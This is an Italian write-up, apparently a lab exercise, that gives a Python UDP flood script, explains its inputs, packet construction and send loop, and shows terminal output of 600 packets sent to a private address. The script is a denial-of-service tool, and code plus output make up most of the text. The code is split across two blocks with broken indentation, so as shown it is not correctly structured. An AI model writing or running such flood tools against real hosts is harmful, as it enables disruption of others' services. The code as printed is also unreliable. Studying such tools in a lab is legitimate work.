

Programma python

```
import socket
import os
import sys
import random

def udp_flood(target_ip, target_port, num_packets):
    try:
        # Creazione del socket UDP
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        # Generazione di un pacchetto casuale di 1 KB
        packet = os.urandom(1024)

        print(f"Inizio dell'invio di {num_packets} pacchetti verso {target_ip}:{target_port}...")

        # Invio dei pacchetti
        for i in range(num_packets):
            sock.sendto(packet, (target_ip, target_port))
            if (i + 1) % 100 == 0 or i == num_packets - 1:
                print(f"{i + 1} pacchetti inviati...")

        print("Invio completato.")

    except Exception as e:
        print(f"Errore: {e}")

    finally:
        sock.close()

if __name__ == "__main__":
    try:
        # Input dall'utente
        target_ip = input("Inserisci l'IP della macchina target: ")
        target_port = int(input("Inserisci la porta UDP della macchina target: "))
        num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
```

```

# Validazione dell'indirizzo IP
try:
    socket.inet_aton(target_ip)
except socket.error:
    print("Errore: Indirizzo IP non valido.")
    sys.exit(1)

# Validazione della porta
if target_port < 0 or target_port > 65535:
    print("Errore: La porta deve essere un numero tra 0 e 65535.")
    sys.exit(1)

# Validazione del numero di pacchetti
if num_packets <= 0:
    print("Errore: Il numero di pacchetti deve essere maggiore di zero.")
    sys.exit(1)

# Avvio dell'UDP flood
udp_flood(target_ip, target_port, num_packets)

except ValueError:
    print("Errore: Inserire valori numerici validi per la porta e il numero di pacchetti.")
except KeyboardInterrupt:
    print("\nSimulazione interrotta dall'utente.")

```

Funzionamento in Dettaglio

Input dall'utente

Quando eseguiamo il programma, esso richiede tre informazioni fondamentali:

- L'indirizzo IP della macchina target: È il "bersaglio" dell'attacco simulato. Il programma verifica che l'indirizzo sia valido.
- La porta UDP del target: I pacchetti vengono inviati verso questa porta. Anche qui, il programma controlla che il numero della porta sia compreso tra 0 e 65535.
- Il numero di pacchetti da inviare: Può essere personalizzato per adattarsi a diversi scenari di test.

Costruzione del pacchetto

I pacchetti inviati hanno una dimensione fissa di 1 KB e contengono dati generati casualmente. Questa parte del programma usa il modulo Python `os.urandom` per creare byte casuali.

Invio dei pacchetti

Il cuore del programma è un ciclo che invia pacchetti UDP uno alla volta verso il target specificato. Durante l'invio:

- Il programma tiene traccia del numero di pacchetti inviati.
- Stampa dei messaggi di progresso ogni 100 pacchetti, in modo che l'utente possa monitorare l'operazione.

Gestione degli errori

Il programma è progettato per gestire eventuali errori o input non validi:

- Se l'indirizzo IP non è valido, il programma avvisa l'utente e termina l'esecuzione.
- Se il numero della porta è fuori dal range accettabile, viene segnalato l'errore.
- Se l'utente inserisce valori non numerici o interrompe manualmente il programma, l'interruzione viene gestita senza bloccare il sistema.

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
Inserisci il numero di pacchetti da inviare: 600
Inizio dell'invio di 600 pacchetti verso 192.168.50.102:80...
100 pacchetti inviati...
200 pacchetti inviati...
300 pacchetti inviati...
400 pacchetti inviati...
500 pacchetti inviati...
600 pacchetti inviati...
Invio completato.
```